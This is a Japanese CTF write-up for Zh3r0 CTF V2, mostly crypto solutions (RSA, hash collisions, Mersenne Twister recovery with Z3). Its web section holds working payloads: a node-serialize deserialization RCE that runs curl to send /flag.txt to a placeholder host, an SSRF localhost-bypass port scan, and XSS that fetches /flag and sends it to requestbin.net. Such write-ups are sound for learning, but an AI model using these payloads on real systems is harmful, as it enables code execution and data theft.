Zh3r0 CTF V2 Writeup

Sun Jun 06 2021

6/4-6/6 で開催していた Zh3r0 CTF V2 にソロで参加しました。最近一人で海外の CTF 出てないなと思い立って参加しました。チームでは Crypto 要員なので一人で出るときは Crypto 以外の問題も頑張ろうという気持ちだったのですが、結局 Crypto しか解けず… (あまり精進できてないのでそれはそう)。結果は 21st/509 (得点のあるチームのみカウント) でした。以下、解いた問題の writeup です。

Cryptography

alice_bob_dave

RSA っぽい問題。 getStrongPrime で生成された 1024bits の3つの素数 $p, q, r$ を秘密鍵とします。平文は2つに分割されていて、それぞれ $N_a = pq, N_b = pr$ の mod 上で RSA の暗号化計算がされます。すなわち $c_a \equiv m_a^e \mod N_a, c_b \equiv m_b^e \mod N_b$ です。与えられる値は $e, c_a, c_b$ に加え、 $e$ の逆元 $d_a \equiv e^{-1} \mod \phi(N_a), d_b \equiv e^{-1} \mod \phi(N_b)$ です。

$d_i e \equiv 1 \mod \phi(N_i)$ ( $i = a, b$ ) より、 $d_i e - 1 = k_i\phi(N_i)$ とかけます。 $\phi(N_a) = (p-1)(q-1), \phi(N_b) = (p-1)(r-1)$ なので、 $\gcd(d_a e - 1, d_b e - 1) = l (p - 1) (l \in \N)$ が成り立つはずです。今、素数 $p$ は getStrongPrime で生成されているため、 $p - 1$ は大きな素因数を持っており、上記 GCD を素因数分解してもそこまで多くの素因数を持たないことが期待されます。factordb.com で素因数分解してあげると、期待通りたかだか10個程度の素因数の積になっていたため、これらを適当にかけ合わせて1足したら素数になる 1024bits 程度の数を探しました。これで $p$ が求まります。

$d_a e - 1 = k_a (p - 1)(q-1), d_b e - 1 = k_b (p - 1)(r - 1)$ に上で求めた $p$ を代入して両辺を $p-1$ で割ると、 $q-1$ や $r-1$ の倍数を得られます。これらを再び素因数分解してあげると $p$ を求めたときと同様の方法で $q, r$ も求まります。 $p, q, r$ が求まればいつもの RSA 計算で $m_a, m_b$ を復号することができます。

zh3r0{GCD_c0m3s_70_R3sCue_3742986}

chaos

自作ハッシュ関数衝突問題。

challenge.py
def ROTL(value, bits, size=32):
    return ((value % (1 << (size - bits))) << bits) | (value >> (size - bits))


def ROTR(value, bits, size=32):
    return ((value % (1 << bits)) << (size - bits)) | (value >> bits)


def pad(pt):
    pt += b"\x80"
    L = len(pt)
    to_pad = 60 - (L % 64) if L % 64 <= 60 else 124 - (L % 64)
    padding = bytearray(to_pad) + int.to_bytes(L - 1, 4, "big")
    return pt + padding


def hash(text: bytes):
    text = pad(text)
    text = [int.from_bytes(text[i : i + 4], "big") for i in range(0, len(text), 4)]
    M = 0xFFFF
    x, y, z, u = 0x0124FDCE, 0x89AB57EA, 0xBA89370A, 0xFEDC45EF
    A, B, C, D = 0x401AB257, 0xB7CD34E1, 0x76B3A27C, 0xF13C3ADF
    RV1, RV2, RV3, RV4 = 0xE12F23CD, 0xC5AB6789, 0xF1234567, 0x9A8BC7EF
    for i in range(0, len(text), 4):
        X, Y, Z, U = text[i] ^ x, text[i + 1] ^ y, text[i + 2] ^ z, text[i + 3] ^ u
        RV1 ^= (x := (X & 0xFFFF) * (M - (Y >> 16)) ^ ROTL(Z, 1) ^ ROTR(U, 1) ^ A)
        RV2 ^= (y := (Y & 0xFFFF) * (M - (Z >> 16)) ^ ROTL(U, 2) ^ ROTR(X, 2) ^ B)
        RV3 ^= (z := (Z & 0xFFFF) * (M - (U >> 16)) ^ ROTL(X, 3) ^ ROTR(Y, 3) ^ C)
        RV4 ^= (u := (U & 0xFFFF) * (M - (X >> 16)) ^ ROTL(Y, 4) ^ ROTR(Z, 4) ^ D)
    for i in range(4):
        RV1 ^= (x := (X & 0xFFFF) * (M - (Y >> 16)) ^ ROTL(Z, 1) ^ ROTR(U, 1) ^ A)
        RV2 ^= (y := (Y & 0xFFFF) * (M - (Z >> 16)) ^ ROTL(U, 2) ^ ROTR(X, 2) ^ B)
        RV3 ^= (z := (Z & 0xFFFF) * (M - (U >> 16)) ^ ROTL(X, 3) ^ ROTR(Y, 3) ^ C)
        RV4 ^= (u := (U & 0xFFFF) * (M - (X >> 16)) ^ ROTL(Y, 4) ^ ROTR(Z, 4) ^ D)
    return int.to_bytes((RV1 << 96) | (RV2 << 64) | (RV3 << 32) | RV4, 16, "big")

このようなハッシュ関数が定義されており、 $m_1 \ne m_2, H(m_1) = H(m_2)$ となる $m_1, m_2$ の組を見つけられればフラグが手に入ります。

このハッシュ関数の特徴の一つは pad で末尾に \x80\x00\x00...\x00\x00L ( $L$ は text の文字列長) がつけられることです。文字列長に依存した padding がつけられるため、入力 text を長くして衝突を狙うのは厳しそうです。そのため、同じ入力長でハッシュを衝突させることを考えます。

hash の実装を見てみると、実は後半の for i in range(4) 以下の部分はハッシュ関数の出力を変化させていません。これは後半部分では $X, Y, Z, U$ の値が更新されないため xor の右辺は常に同じ値となっており、これを4回 (偶数回) xor をとっても結果が変わらないことからわかります。以下では、

    for i in range(0, len(text), 4):
        X, Y, Z, U = text[i] ^ x, text[i + 1] ^ y, text[i + 2] ^ z, text[i + 3] ^ u
        RV1 ^= (x := (X & 0xFFFF) * (M - (Y >> 16)) ^ ROTL(Z, 1) ^ ROTR(U, 1) ^ A)
        RV2 ^= (y := (Y & 0xFFFF) * (M - (Z >> 16)) ^ ROTL(U, 2) ^ ROTR(X, 2) ^ B)
        RV3 ^= (z := (Z & 0xFFFF) * (M - (U >> 16)) ^ ROTL(X, 3) ^ ROTR(Y, 3) ^ C)
        RV4 ^= (u := (U & 0xFFFF) * (M - (X >> 16)) ^ ROTL(Y, 4) ^ ROTR(Z, 4) ^ D)

の部分に注目します。

これらの右辺の値をできるだけシンプルにできるような $X, Y, Z, U$ を考えます。 (X & 0xFFFF) * (M - (Y >> 16)) は X = ....0000 や Y = FFFF.... という形になっているときに0になります。 ROTL(Z, 1) ^ ROTR(U, 1) の部分は、 Z = U のときに打ち消し合って0になります。これを踏まえると、 $X = Y = Z = U = 0$ または $X = Y = Z = U = \mathrm{0xFFFFFFFF}$ のときに RV1 ^= A, RV2 ^= B, RV3 ^= C RV4 ^= D となることがわかります。同じ長さの入力値に対して padding の結果は変わらないため、 text[0], text[1], text[2], text[3] で $X = Y = Z = U = 0$ または $X = Y = Z = U = \mathrm{0xFFFFFFFF}$ となるような2種類の入力を作ればハッシュを衝突させることができます。

def xor(a, b):
    return bytes([x ^ y for x, y in zip(a, b)])


m1 = b"\x01\x24\xFD\xCE\x89\xAB\x57\xEA\xBA\x89\x37\x0A\xFE\xDC\x45\xEF"
m2 = xor(
    b"\x01\x24\xFD\xCE\x89\xAB\x57\xEA\xBA\x89\x37\x0A\xFE\xDC\x45\xEF", b"\xff" * 16
)
assert m1 != m2
assert hash(m1) == hash(m2)

_r = remote("crypto.zh3r0.cf", 2222)
_r.sendlineafter("input first string to hash : ", m1.hex())
_r.sendlineafter("input second string to hash : ", m2.hex())
print(_r.recvall())

zh3r0{something_chaotic_may_look_random_enough_but_may_be_not_sufficiently_secure}

今回の Crypto の問題セットだとこれが一番時間かかってしまいました…

in_jection

暗号化のコードはとてもシンプル。

challenge.py
from secret import flag

def nk2n(nk):
    l = len(nk)
    if l==1:
        return nk[0]
    elif l==2:
        i,j = nk
        return ((i+j)*(i+j+1))//2 +j
    return nk2n([nk2n(nk[:l-l//2]), nk2n(nk[l-l//2:])])

print(nk2n(flag))
#2597749519984520018193538914972744028780767067373210633843441892910830749749277631182596420937027368405416666234869030284255514216592219508067528406889067888675964979055810441575553504341722797908073355991646423732420612775191216409926513346494355434293682149298585

入力した文字列を半分ずつに区切っていき、2文字になったら $(i+j)(i+j+1)/2 + j$ , 1文字になったらその値を返す再起関数になっています。

$a_n = n(n+1)/2$ と定義するとこれは三角数になっています。 $c = (i+j)(i+j+1)/2 + j$ とすると、実は $a_k < c$ となる最大の $k$ のみが $k = i+j (i\ge 0, j\ge 0)$ を満たすことが示せます。これは、

\begin{align*} c &= a_{i+j} + j \\ &= a_{i+j} - a_{i+j-1} + j + a_{i+j-1} \\ &= a_{i+j-1} + j + (i + j) \end{align*}

となり、 $i' + j' = i + j - 1$ とすると $c = a_{i' + j'} + j' = a_{i+j-1} + i + j -1 -i'$ となりますが、上の式との差を取ると $0 = j + 1 + i'$ となり $i'$ は負になってしまうことからわかります。

三角数 $a_n$ は単調増加なため、二分探索で $a_k < c$ となる最大の $k$ を探すのを繰り返していけば十分高速に復号することができます。

solve.py
def a(n):
    return n * (n + 1) // 2


def bisect(y):
    l = 0
    r = 2 ** 800
    while True:
        c = (l + r) // 2
        tmp = a(c)
        if tmp > y:
            last_r = r
            r = c
            if last_r == r:
                break
        elif tmp < y:
            last_l = l
            l = c
            if last_l == l:
                break
        else:
            break
    if a(c) > y:
        c -= 1
    return c


def decompose(c):
    tmp = bisect(c)
    j = c - a(tmp)
    i = tmp - j
    if j < 128 and i >= 128:
        return decompose(i) + [j]
    elif i < 128 and j < 128:
        return [i, j]
    return decompose(i) + decompose(j)


c = 2597749519984520018193538914972744028780767067373210633843441892910830749749277631182596420937027368405416666234869030284255514216592219508067528406889067888675964979055810441575553504341722797908073355991646423732420612775191216409926513346494355434293682149298585
print("".join(map(chr, decompose(c))))

zh3r0{wh0_th0ugh7_b1j3c710n5_fr0m_n^k_t0_n_c0uld_b3_s00000_c0000000l!}

久しぶりに bisect 関数書いたらチキってとんでもないクソコードになってしまった…

b00tleg

ソースコードなしで8種類の暗号を解く問題。古典暗号が多めでした。

Level 0 (問題の表示は Level 1 になっていたけど)

各文字に1が足されていました。

Level 1

文字列が10進数表記されていました。

Level 2

換字式暗号で、各文字の変換先が固定されていたため、256種類の数を変換させて変換表を作製して復号しました。

Level 3

換字式暗号ですが、文字列の場所 (の mod15 をとったもの) に応じて変換規則が変わっています。 "".join([f"{i:02x}"*15 for i in range(256)]) を送って場所ごとの変換表を作製して復号しました。

Level 4

このあたりから若干厄介になってきました…

平文を暗号化させると2倍の長さになります。また暗号化はランダムなように見えます。注意して観察すると、適当な乱数をつかって、平文の各文字 $m_i$ を $m_i-r,m_i+r$ と変換しているようでした。なので2文字ずつ暗号文を足し算することで復号できました。

Level 5

これが一番大変でした…

入力した文字に対して padding して5の倍数の文字列長にしたあと、何かしらの暗号化をしているようです。暗号化の結果はランダムに見えます。例えば 00000000000101010101 を暗号化すると、 c0 c1 c0 という形の暗号になり、 c0 ^ c1 = 01010101 となっていました。 xor を使った one time pad になっているっぽい？暗号の最後の5文字と xor を取ることで復号できました。

Level 6

ここからは RSA っぽくなっています。いろいろ入力を試すと、 $N = p$ ( $p$ は素数), $e = 3$ の RSA になっていました。 $m^e > p$ となるような $m$ を2種類用意して ( $m_1 = 2^{512}, m_2 = 2^{512} + 1$ とした) 暗号化し、 $\gcd(m_1^e - c_1, m_2^e - c_2)$ を計算すると、 $p$ の倍数が求まります。あとは $\phi(p) = p - 1$ から $d=e^{-1} \mod p-1$ を計算して $c^d \mod p$ で復号できました。

Level 7

Level 6 とほとんど同様で、 $e = 101$ となっていました。ここで復号した結果がフラグとなっていました。

zh3r0{17_a1n7_much_bu7_1_4m_s0m37h1ng_0f_4_cryp74n4ly57_my53lf}

Twist and Shout

Mersenne Twister の問題、その1。

challenge.py
from secret import flag
import os
import random

state_len = 624*4
right_pad = random.randint(0,state_len-len(flag))
left_pad = state_len-len(flag)-right_pad
state_bytes = os.urandom(left_pad)+flag+os.urandom(right_pad)
state = tuple( int.from_bytes(state_bytes[i:i+4],'big') for i in range(0,state_len,4) )
random.setstate((3,state+(624,),None))
outputs = [random.getrandbits(32) for i in range(624)]
print(*outputs,sep='\n')

フラグの文字列を含んだ state_bytes を32bit数値列に変換して Mersenne Twister の state にセットし、そこから生成される624個の乱数が与えられます。

Mersenne Twister は624個の32bit数値列からなる state と index を持っており、 state[index] に temper と呼ばれる操作をした値を乱数として生成します。1つ生成するとき index はインクリメントされます。また index >= 624 のときは state の更新が走ります。該当するコードはこのあたりで確認できます (ぱっと見つかったのが python2.7 での実装だったのでこのリンクを貼っていますが、今も変わっていないと思われます)。

この問題で与えられた乱数列は、 state を1回更新した後に temper(state[index]) を計算されたものになっているはずです。そのため、state 更新前の値を Z3 の BitVec として定義してあげて SMT として解きました。

solve.py
from Crypto.Util.number import long_to_bytes
from pwn import *
from z3 import *


# http://inaz2.hatenablog.com/entry/2016/03/07/194147
def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xEFC60000)
    x = unBitshiftLeftXor(x, 7, 0x9D2C5680)
    x = unBitshiftRightXor(x, 11)
    return x


def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y


def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y


_r = remote("crypto.zh3r0.cf", 5555)
outputs = []
for _ in range(624):
    outputs.append(int(_r.recvline()))
state = tuple([untemper(x) for x in outputs] + [624])
_r.close()

# https://hg.python.org/cpython/file/2.7/Modules/_randommodule.c#l95
N = 624
M = 397
MATRIX_A = 0x9908B0DF
UPPER_MASK = 0x80000000
LOWER_MASK = 0x7FFFFFFF
xs = [BitVec(f"x_{i}", 33) for i in range(624)]
mt = xs.copy()
for kk in range(N - M):
    y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
    mt[kk] = mt[kk + M] ^ (y >> 1) ^ (y % 2) * MATRIX_A
for kk in range(N - M, N - 1):
    y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
    mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ (y % 2) * MATRIX_A
y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ (y % 2) * MATRIX_A

s = Solver()
for i in range(624):
    s.add(mt[i] == state[i])
assert s.check() == sat
m = s.model()
last_state = [m[xs[i]].as_long() for i in range(624)]
state_bytes = b"".join([long_to_bytes(s) for s in last_state])
print(state_bytes[state_bytes.find(b"zh3r0"):])

zh3r0{7h3_fu7ur3_m1gh7_b3_c4p71v471ng_bu7_n0w_y0u_kn0w_h0w_t0_l00k_a7_7h3_p457}

Real Mersenne

Mersenne Twister の問題、その2。

challenge.py
import random
from secret import flag
from fractions import Fraction

def score(a,b):
    if abs(a-b)<1/2**10:
        # capping score to 1024 so you dont get extra lucky
        return Fraction(2**10)
    return Fraction(2**53,int(2**53*a)-int(2**53*b))

total_score = 0
for _ in range(2000):
    try:
        x = random.random()
        y = float(input('enter your guess:\n'))
        round_score = score(x,y)
        total_score+=float(round_score)
        print('total score: {:0.2f}, round score: {}'.format(
            total_score,round_score))
        if total_score>10**6:
            print(flag)
            exit(0)
    except:
        print('Error, exiting')
        exit(1)
else:
    print('Maybe better luck next time')

random.random() で生成される [0, 1] の乱数を予測する問題です。乱数を $x$ , 入力値を $y$ とすると $\min(2^{10}, 1 / (x - y))$ で score が計算され、 2000回以内で $10^6$ に達成する必要があります。

$10^6 / 2^{10} \simeq 1000$ なので、1000回程度は Mersenne Twister の状態復元に使うことができます。まず random.random() の仕様を確認します。 cpython の実装を見ると、

random_random(RandomObject *self)
{
    unsigned long a=genrand_int32(self)>>5, b=genrand_int32(self)>>6;
    return PyFloat_FromDouble((a*67108864.0+b)*(1.0/9007199254740992.0));
}

となっています。32bit乱数を2つ生成し、それらを5, 6bits だけ切り捨てて float 値を計算しています。

Twist and Shout と同じように Z3 で Mersenne Twister の state を求めました。具体的には、最初の Mersenne Twister の state を BitVec で表現し、そこから生成される乱数と、次の state 更新後に生成される乱数の計1248個 (float でいうと624個) が一致するように state を決定しました。こちらの guess を0として float の収集をすると $1/2^{10}$ の確率で失敗するのですが、 $(1-1/2^{10})^{624} \simeq 0.54$ なので何回か script 回すことで対処しました。やりようはあるけど面倒だったので…

solve.py
import random
from fractions import Fraction

from pwn import *
from tqdm import tqdm
from z3 import *


def score(a, b):
    if abs(a - b) < 1 / 2 ** 10:
        # capping score to 1024 so you dont get extra lucky
        return Fraction(2 ** 10)
    return Fraction(2 ** 53, int(2 ** 53 * a) - int(2 ** 53 * b))


def temper(state):
    y = state
    y ^= y >> 11
    y ^= (y << 7) & 0x9D2C5680
    y ^= (y << 15) & 0xEFC60000
    y ^= y >> 18
    return y


def frac_to_trunc_a_b(f):
    m = 2 ** 53 // f.numerator
    denom = m * f.denominator
    # denom == a * 2**26 + b
    a = denom // 2 ** 26
    b = denom % 2 ** 26
    return a, b


def update_mt(mt):
    N = 624
    M = 397
    MATRIX_A = 0x9908B0DF
    UPPER_MASK = 0x80000000
    LOWER_MASK = 0x7FFFFFFF
    for kk in range(N - M):
        y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
        mt[kk] = mt[kk + M] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    for kk in range(N - M, N - 1):
        y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
        mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
    mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ (y % 2) * MATRIX_A


N = 624
_r = remote("crypto.zh3r0.cf", 4444)
outputs_list = []
for _ in range(2):
    outputs = []
    for _ in tqdm(range(N // 2)):
        _r.sendlineafter("enter your guess:\n", "0")
        _r.recvuntil("round score: ")
        ret = _r.recvline().strip()
        outputs.append(Fraction(*map(int, ret.split(b"/"))))
    outputs_list.append(outputs)


# https://hg.python.org/cpython/file/2.7/Modules/_randommodule.c#l138
N = 624
M = 397
s = Solver()
xs = [BitVec(f"x_{i}", 33) for i in range(N)]
mt = xs.copy()
for i in range(N // 2):
    output_past = outputs_list[0][i]
    a_past, b_past = frac_to_trunc_a_b(output_past)
    s.add(temper(mt[2 * i + 0]) >> 5 == a_past)
    s.add(temper(mt[2 * i + 1]) >> 6 == b_past)
update_mt(mt)
for i in range(N // 2):
    output_curr = outputs_list[1][i]
    a_curr, b_curr = frac_to_trunc_a_b(output_curr)
    s.add(temper(mt[2 * i + 0]) >> 5 == a_curr)
    s.add(temper(mt[2 * i + 1]) >> 6 == b_curr)
assert s.check() == sat
m = s.model()

last_state = [m[xs[i]].as_long() for i in range(N)]
random.setstate((3, tuple(last_state) + (624,), None))
for i in range(N // 2):
    print(score(random.random(), 0) == outputs_list[1][i])

for _ in range(2000 - N//2 * 2):
    x = random.random()
    _r.sendlineafter("enter your guess:\n", str(x))
    _r.recvuntil("total score: ")
    total_score = float(_r.recvuntil(", ")[:-2])
    print(total_score)
    if total_score > 10**6:
        _r.interactive()
        break
print(_r.recvall())

zh3r0{r34l_m3n_d34l_w17h_m3r53nn3_w17h_r34l_v4lu3s}

import numpy as MT

Mersenne Twister の問題、その3。

challenge.py
import os
from numpy import random
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from secret import flag

def rand_32():
    return int.from_bytes(os.urandom(4),'big')

flag = pad(flag,16)

for _ in range(2):
    # hate to do it twice, but i dont want people bruteforcing it
    random.seed(rand_32())
    iv,key = random.bytes(16), random.bytes(16)
    cipher = AES.new(key,iv=iv,mode=AES.MODE_CBC)
    flag = iv+cipher.encrypt(flag)


print(flag.hex())

今回は numpy の random を使っています。 np.random.seed(...) で seed を固定した後、 iv, key を生成し AES で暗号化するのを2回繰り返します。seed 固定直後に生成される iv は既知となります。

まずは np.random.seed の実装を確認します。

void mt19937_seed(mt19937_state *state, uint32_t seed) {
  int pos;
  seed &= 0xffffffffUL;

  /* Knuth's PRNG as used in the Mersenne Twister reference implementation */
  for (pos = 0; pos < RK_STATE_LEN; pos++) {
    state->key[pos] = seed;
    seed = (1812433253UL * (seed ^ (seed >> 30)) + pos + 1) & 0xffffffffUL;
  }
  state->pos = RK_STATE_LEN;
}

seed 固定に使われた32bitの数を使って Mersenne Twister の state を更新していることがわかります。この問題も今までと同様に Z3 で解きます。具体的には seed の値を BitVec で表現し、 np.random.seed での state の更新、その後生成される iv の値を計算して、これが既知の iv と一致するという制約のもとで解きました。 seed が分かれば key も生成でき、その key を使って復号します。これを2回繰り返すことでフラグが入手できました。 (この問題が一番 Z3 の計算時間が長かったです。自分にはどういう問題が Z3 の得意領域なのかがわからない…)

solve.py
from binascii import unhexlify

from Crypto.Cipher import AES
from Crypto.Util.number import bytes_to_long
from numpy import random
from z3 import *

enc_flag = unhexlify(
    "c70defb4147c32dec3d174ffef4c243168b65fb94783fd208291836880a3fd4e03083460ea63e1f7db2faa1854f12554d36d826da680cf45c95dbdbd04016dfbbf0b553547a82a2c2b5063055f12e0dcfafb61b0b9e104023d5ee5c12e0efa39297b1d4970888ff7546974563eeb440c61436df893f046d60a2ed560db39d789"
)


def untemper(x):
    x = unBitshiftRightXor(x, 18)
    x = unBitshiftLeftXor(x, 15, 0xEFC60000)
    x = unBitshiftLeftXor(x, 7, 0x9D2C5680)
    x = unBitshiftRightXor(x, 11)
    return x


def unBitshiftRightXor(x, shift):
    i = 1
    y = x
    while i * shift < 32:
        z = y >> shift
        y = x ^ z
        i += 1
    return y


def unBitshiftLeftXor(x, shift, mask):
    i = 1
    y = x
    while i * shift < 32:
        z = y << shift
        y = x ^ (z & mask)
        i += 1
    return y


# https://github.com/numpy/numpy/blob/main/numpy/random/src/mt19937/mt19937.c
def set_seed(seed):
    RK_STATE_LEN = 624
    seed &= 0xFFFFFFFF
    key = [None] * RK_STATE_LEN
    for pos in range(RK_STATE_LEN):
        key[pos] = seed
        seed = (1812433253 * (seed ^ (seed >> 30)) + pos + 1) & 0xFFFFFFFF
    return key


def update_mt(mt):
    N = 624
    M = 397
    MATRIX_A = 0x9908B0DF
    UPPER_MASK = 0x80000000
    LOWER_MASK = 0x7FFFFFFF
    for kk in range(N - M):
        y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
        mt[kk] = mt[kk + M] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    for kk in range(N - M, N - 1):
        y = (mt[kk] & UPPER_MASK) | (mt[kk + 1] & LOWER_MASK)
        mt[kk] = mt[kk + (M - N)] ^ (y >> 1) ^ (y % 2) * MATRIX_A
    y = (mt[N - 1] & UPPER_MASK) | (mt[0] & LOWER_MASK)
    mt[N - 1] = mt[M - 1] ^ (y >> 1) ^ (y % 2) * MATRIX_A


s = Solver()
x = BitVec("x", 33)
mt = set_seed(x)
update_mt(mt)
iv = enc_flag[:16]
for i in range(0, 4):
    s.add(mt[i] == untemper(bytes_to_long(iv[4 * i : 4 * (i + 1)][::-1])))
assert s.check() == sat
m = s.model()
second_seed = m[x].as_long()
random.seed(second_seed)
iv_, key = random.bytes(16), random.bytes(16)
assert iv_ == iv
cipher = AES.new(key, iv=iv_, mode=AES.MODE_CBC)
enc_flag_2 = cipher.decrypt(enc_flag[16:])


s = Solver()
x = BitVec("x", 33)
mt = set_seed(x)
update_mt(mt)
iv = enc_flag_2[:16]
for i in range(0, 4):
    s.add(mt[i] == untemper(bytes_to_long(iv[4 * i : 4 * (i + 1)][::-1])))
s.check()
m = s.model()
first_seed = m[x].as_long()
random.seed(first_seed)
iv_, key = random.bytes(16), random.bytes(16)
assert iv_ == iv
cipher = AES.new(key, iv=iv, mode=AES.MODE_CBC)
flag = cipher.decrypt(enc_flag_2[16:])
print(flag)

zh3r0{wh0_th0ugh7_7h3_m3r53nn3_7w1573r_w45_5o_pr3d1c74bl3?c3rt41nly_n0t_m47454n0}

Web

sparta

node-serialize の unserialize の脆弱性に関する問題。

public/server.js
app.post('/guest', function(req, res) {
   if (req.cookies.guest) {
   	var str = new Buffer(req.cookies.guest, 'base64').toString();
   	var obj = serialize.unserialize(str);
   	if (obj.username) {
     	res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page");
   }
 } else {

該当するのは↑の部分で、任意の文字列を unserialize できます。例えばここにもあるように、 _$$ND_FUNC$$_function (){ CODE_TO_BE_EXECUTED }() という形式の文字列を unserialize するとコードを実行することができます。 flag は /flag.txt にあることが Dockerfile からわかるので、この内容を curl で MY_URL に送信させるようなコードを書きました。

solve.py
from base64 import b64encode

import requests

payload = b64encode(b"{\"username\":\"_$$ND_FUNC$$_function (){(function(){var net = require('net'),cp = require('child_process'),sh = cp.spawn('/bin/sh', ['-c', 'curl -F hoge=@/flag.txt MY_URL']);})();}()\"}").decode()
requests.post("http://web.zh3r0.cf:6666/guest", cookies={"guest": payload})

zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

Baby SSRF

タイトルからして SSRF 問題。

/request で URL を指定することができ、 POST するとそのサイトにアクセスしたときのレスポンスヘッダが返ってきているっぽいです。 SSRF の問題なので localhost や 127.0.0.1 にアクセスしてみると、 Please dont try to heck me sir... と言われます。この方針でよさそう。この前の SECCON Beginners CTF で localhost の言い換え表現を学んだ (ここが参考になる) ため、今回もそれを試します。 0x7F000001 が通りました。

ここからどうすればいいか悩んだのですが、問題のヒントに for i in range(5000,10000) と書かれていました。 port をブルートフォースするということ？ということで script を書くと 9006 でレスポンスがあり、そこにフラグが書かれていました。

solve.py
import requests
from tqdm import tqdm

URL_TEMPLATE = "http://0x7F000001:{PORT}"

for i in tqdm(range(5000, 10000)):
    r = requests.post("http://web.zh3r0.cf:6969/request", data={"url": URL_TEMPLATE.format(PORT=i), "sub": "sub"})
    if "Learn" not in r.text:
        print(i, r.text)

zh3r0{SSRF_0r_wh4t3v3r_ch4ll3ng3}

復習！

ここから先はコンテスト後に復習したものをまとめています。

Web

bxss

/flag にフラグがあるのに気づけなかった…後はそれを持ってくるだけです。

<script>fetch("/flag").then(x=>x.text()).then(x=>document.location=`https://requestbin.net/r/5a0xzsz0?q=${escape(x)}`)</script>
<img src="x" onerror="fetch('/flag').then(x=>x.text()).then(x=>document.location=`https://requestbin.net/r/5a0xzsz0?q=${escape(x)}`)" />

zh3r0{{Ea5y_bx55_ri8}}